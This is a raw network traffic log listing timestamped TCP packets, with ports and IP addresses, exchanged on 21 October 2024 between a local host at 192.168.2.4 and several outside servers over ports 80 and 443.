Oct 21, 2024 10:47:19.069293976 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.069302082 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069312096 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069320917 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069330931 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069349051 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069359064 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069359064 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.069375038 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069386005 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069395065 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069406986 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.069413900 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069423914 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069426060 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.069433928 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069444895 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069456100 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069464922 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069474936 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069483995 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.069484949 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.069502115 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.069660902 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.070790052 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.070801020 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.070811987 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.070822001 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.070832968 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.070842028 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.070842981 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.070854902 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.070866108 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.070875883 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.070890903 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.070894003 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.070902109 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.070914030 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.070924044 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.070934057 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.070943117 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.070954084 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.070959091 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.070964098 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.070976019 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.070980072 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.070990086 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.070998907 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071007967 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071018934 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071028948 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071038961 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071048975 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071058035 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071068048 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071074963 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071079016 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071089029 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071099043 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071108103 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071127892 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071136951 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071147919 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071157932 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071168900 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071178913 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071193933 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071197033 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071206093 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071211100 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071218014 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071225882 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071228981 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071239948 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071250916 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071273088 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071289062 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071300030 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071300030 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071310997 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071321964 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071322918 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071332932 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071338892 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071346045 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071346045 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071358919 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071363926 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071371078 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071398973 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071430922 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071439981 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071449041 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071460009 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071470976 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071480989 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071491003 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071496010 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071501970 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071506977 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071517944 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071528912 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071540117 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071549892 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071552038 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071562052 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071592093 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071599960 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071610928 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071614027 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071619987 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071630001 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071640968 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071650028 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071660042 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071669102 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071679115 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071688890 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071700096 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071712017 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071717978 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071722031 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071731091 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071732998 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071748972 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071753025 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071763039 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071768999 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071773052 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071785927 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071798086 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071803093 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071813107 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071814060 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071821928 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071832895 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071847916 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071856976 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071867943 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071877956 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071887016 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071897030 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071897030 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071907043 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071918011 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071928024 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071930885 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071940899 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071948051 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.071959019 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071970940 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071981907 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.071991920 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072010040 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072021008 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072026014 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.072046041 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072056055 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072057009 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.072063923 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072076082 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072091103 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072102070 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072112083 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072123051 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072133064 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072141886 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072144985 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.072151899 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072170019 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072180033 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072190046 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072200060 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072210073 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072220087 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072232008 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072244883 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072254896 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072272062 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072283983 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072293997 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072305918 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.072314978 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.074781895 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.074812889 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.229558945 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:19.229805946 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:19.471967936 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:19.472037077 CEST	49926	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:19.473241091 CEST	49926	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:19.473252058 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:19.473460913 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:19.474622965 CEST	49926	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:19.474658012 CEST	49926	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:19.474674940 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.038904905 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.038949966 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.038975000 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.039009094 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.039027929 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.039047956 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.039084911 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.039985895 CEST	49926	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:21.040041924 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.051404953 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.062114954 CEST	49926	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:21.159373999 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.159461975 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.159508944 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.159528971 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.159619093 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.171400070 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.177042961 CEST	49926	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:21.177782059 CEST	49926	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:21.177802086 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.177815914 CEST	49926	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:21.177820921 CEST	443	49926	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.506153107 CEST	49906	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:21.506460905 CEST	49942	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:21.511334896 CEST	80	49942	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:21.511418104 CEST	49942	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:21.511548042 CEST	49942	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:21.511641979 CEST	80	49906	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:21.511704922 CEST	49906	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:21.516364098 CEST	80	49942	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:21.733290911 CEST	49944	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:21.733330965 CEST	443	49944	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.733402967 CEST	49944	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:21.733694077 CEST	49944	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:21.733709097 CEST	443	49944	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:21.930576086 CEST	49947	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:21.935527086 CEST	80	49947	185.215.113.37	192.168.2.4
Oct 21, 2024 10:47:21.935601950 CEST	49947	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:21.935775995 CEST	49947	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:21.940594912 CEST	80	49947	185.215.113.37	192.168.2.4
Oct 21, 2024 10:47:22.334592104 CEST	443	49944	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:22.334718943 CEST	49944	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:22.336072922 CEST	49944	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:22.336081028 CEST	443	49944	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:22.336306095 CEST	443	49944	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:22.337673903 CEST	49944	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:22.337872982 CEST	49944	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:22.337903023 CEST	443	49944	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:22.338112116 CEST	49944	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:22.338119030 CEST	443	49944	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:22.425143957 CEST	80	49942	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:22.425215960 CEST	49942	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:22.427097082 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:22.427444935 CEST	49950	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:22.432252884 CEST	80	49950	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:22.432329893 CEST	49950	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:22.432385921 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:22.432522058 CEST	49950	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:22.432562113 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:22.437248945 CEST	80	49950	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:22.844172001 CEST	80	49947	185.215.113.37	192.168.2.4
Oct 21, 2024 10:47:22.851629972 CEST	49947	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:22.899235010 CEST	49947	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:22.904197931 CEST	80	49947	185.215.113.37	192.168.2.4
Oct 21, 2024 10:47:23.188484907 CEST	80	49947	185.215.113.37	192.168.2.4
Oct 21, 2024 10:47:23.188555002 CEST	49947	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:23.333874941 CEST	80	49950	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:23.333950043 CEST	49950	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:23.533529997 CEST	443	49944	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:23.533616066 CEST	443	49944	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:23.533942938 CEST	49944	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:23.534128904 CEST	49944	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:23.534143925 CEST	443	49944	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:24.040221930 CEST	49961	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:24.040254116 CEST	443	49961	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:24.051819086 CEST	49961	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:24.054836035 CEST	49961	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:24.054860115 CEST	443	49961	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:24.660079002 CEST	443	49961	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:24.660094023 CEST	443	49961	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:24.675894976 CEST	49961	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:24.677653074 CEST	49961	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:24.677660942 CEST	443	49961	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:24.677901030 CEST	443	49961	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:24.679757118 CEST	49961	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:24.679831028 CEST	49961	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:24.679855108 CEST	443	49961	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:25.276638031 CEST	443	49961	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:25.276722908 CEST	443	49961	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:25.277410984 CEST	49961	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:25.309381008 CEST	49961	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:25.309396029 CEST	443	49961	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:25.537744999 CEST	49942	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:25.538026094 CEST	49968	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:25.542840958 CEST	80	49968	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:25.543054104 CEST	80	49942	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:25.553432941 CEST	49942	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:25.553680897 CEST	49968	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:25.556422949 CEST	49968	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:25.561322927 CEST	80	49968	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:26.402956009 CEST	49974	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:26.403002024 CEST	443	49974	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:26.405107021 CEST	49974	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:26.405424118 CEST	49974	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:26.405438900 CEST	443	49974	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:27.436099052 CEST	80	49968	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:27.436661005 CEST	80	49968	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:27.437016964 CEST	80	49968	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:27.437453032 CEST	80	49968	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:27.443454027 CEST	49968	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:27.443454027 CEST	49968	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:27.443454027 CEST	49968	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:27.467020035 CEST	49950	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:27.467252016 CEST	49975	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:27.472125053 CEST	80	49975	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:27.472193956 CEST	49975	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:27.472357988 CEST	80	49950	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:27.472359896 CEST	49975	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:27.472412109 CEST	49950	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:27.477133989 CEST	80	49975	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:27.617638111 CEST	49978	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:27.617672920 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:27.617933035 CEST	49978	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:27.619046926 CEST	49978	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:27.619059086 CEST	443	49978	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:28.041172028 CEST	443	49974	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:28.042172909 CEST	49974	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:28.043838024 CEST	49974	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:28.043857098 CEST	443	49974	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:28.044049025 CEST	443	49974	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:28.045161963 CEST	49974	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:28.045304060 CEST	49974	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:28.045329094 CEST	443	49974	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:28.045382977 CEST	49974	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:28.045392036 CEST	443	49974	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:28.351923943 CEST	80	49947	185.215.113.37	192.168.2.4
Oct 21, 2024 10:47:28.351984024 CEST	49947	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:28.372700930 CEST	80	49975	185.215.113.16	192.168.2.4
